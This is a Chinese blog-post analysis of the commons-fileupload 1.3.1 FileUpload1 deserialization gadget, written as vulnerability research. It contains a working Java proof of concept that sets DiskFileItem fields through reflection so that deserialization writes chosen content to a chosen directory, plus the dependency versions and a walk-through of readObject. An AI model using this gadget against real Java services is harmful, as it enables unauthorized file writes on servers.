FilteUpload反序列化

文章详细介绍了commons-fileupload库在处理HTTP多部分文件上传时的反序列化漏洞,利用该漏洞攻击者可以在指定目录写入临时文件。通过构造特定的payload,可以改变DiskFileItem对象的内部状态,导致在反序列化过程中写入自定义内容到硬盘。由于Jdk版本为1.8,此漏洞限制为仅能在指定目录创建临时文件,且通常视为低风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

FileUpload1反序列化漏洞

commons-fileupload的简介

FileUpload包可以很容易地添加强大的,高性能,文件上传到你的Servlet的Web应用程序的能力。

FileUpload解析HTTP请求符合RFC 1867年,“在HTML的文件上传。就是说,如果一个HTTP请求是使用POST方法提交,并与一个内容类型“multipart/norm-data”,然后FileUpload可以解析这个请求,并把结果提供一个容易使用的调用方式。

最终payload
        byte[] bytes = "relay学安全".getBytes("UTF-8");
				File repository = new File("/Users/relay/Downloads/aaa");

        DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, repository);

        DiskFileItem diskFileItem = new DiskFileItem(null, null, false, null, 0, repository);

        Field dfosFile = DiskFileItem.class.getDeclaredField("dfos");
        dfosFile.setAccessible(true);
        dfosFile.set(diskFileItem, dfos);

        Field field2 = DiskFileItem.class.getDeclaredField("cachedContent");
        field2.setAccessible(true);
        field2.set(diskFileItem, bytes);
        serialize(diskFileItem);
        unserialize("ser.bin");

        public static void serialize(Object obj) throws Exception {
          ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
          oos.writeObject(obj);
      }

      public static Object unserialize(String Filename) throws Exception {
          ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
          Object obj = ois.readObject();
          return obj;
      }
漏洞环境
maven依赖
<dependency>
    <groupId>commons-fileupload</groupId>
    <artifactId>commons-fileupload</artifactId>
    <version>1.3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-io/commons-io -->
<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.4</version>
</dependency>

Jdk版本是1.8,所以我们只能往指定的目录去写入临时文件。

漏洞流程

首先我们简单来看一下这个payload,可以看他他反序列化的是diskFileItem,diskFileItem是DiskFileItem类,那也就是说他会调用DiskFileItem类的readObject方法,我们跟进去看看。首先我们看到他的构造函数中对这一大堆值进行了赋值。

简单来说下主要的几个值都代表什么。

fileName: 原始的文件名

sizeThreshold:文件大小阈值,如果超过这个值,上传文件将会被储存在硬盘上

repository:File 类型的成员变量,如果文件保存到硬盘上的话,保存的位置
在这里插入图片描述
还有几个值并没有在构造函数中进行赋值,那么我们就需要通过反射进行给他赋值了。

private byte[] cachedContent; //这个值后面不能让他为空,不然写入不了文件。
private File dfosFile; //一个 File 对象,允许对其序列化的操作
private transient DeferredFileOutputStream dfos; //一个 DeferredFileOutputStream 对象,用于 OutputStream 的写出

我们跟进readObject方法。首先进行了几个判断,判断我们的repository不为空的话,接着判断repository如果是目录的话,紧接着判断我们的path路径中是否有 \0 如果有的话直接抛出异常,我们的repository是通过DiskFileItem的构造函数赋值过得。他的值是我们的目录。/Users/relay/Downloads/aaa
在这里插入图片描述
接下往下走来到下半段,首先调用getOutputStream方法,返回的是一个OutputStream对象,我们跟进去。
在这里插入图片描述
来到getOutputStream方法,首先判断dfos(就是我们的DeferredFileOutputStream对象)是否为null,这个值我们是通过反射进行赋值过得,所以接下来调用getTempFile方法。跟进去。
在这里插入图片描述
来到getTempFile方法,将我们的目录复制给了tempDir变量,然后通过调用format方法进行格式化,然后赋值给tempFileName,最后封装成File类,然后返回。
在这里插入图片描述
回到readObject方法,判断cachedContent如果不等于null的话,直接就将cachedContent写入,cachedContent通过反射已经给他赋值过了他的值是relay学安全。
在这里插入图片描述
在这里插入图片描述
到这里就基本结束了,我们可能在想这个漏洞写进去临时文件也没什么用处啊。

这个漏洞他是跟jdk版本相关的,但是基本上不会使用jdk1.7 或者 1.6了。所以jdk1.8 + commons-fileupload 1.3.1只能做到指定目录写文件,并且只是临时文件。

参考:

https://paper.seebug.org/731/#payload_1

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值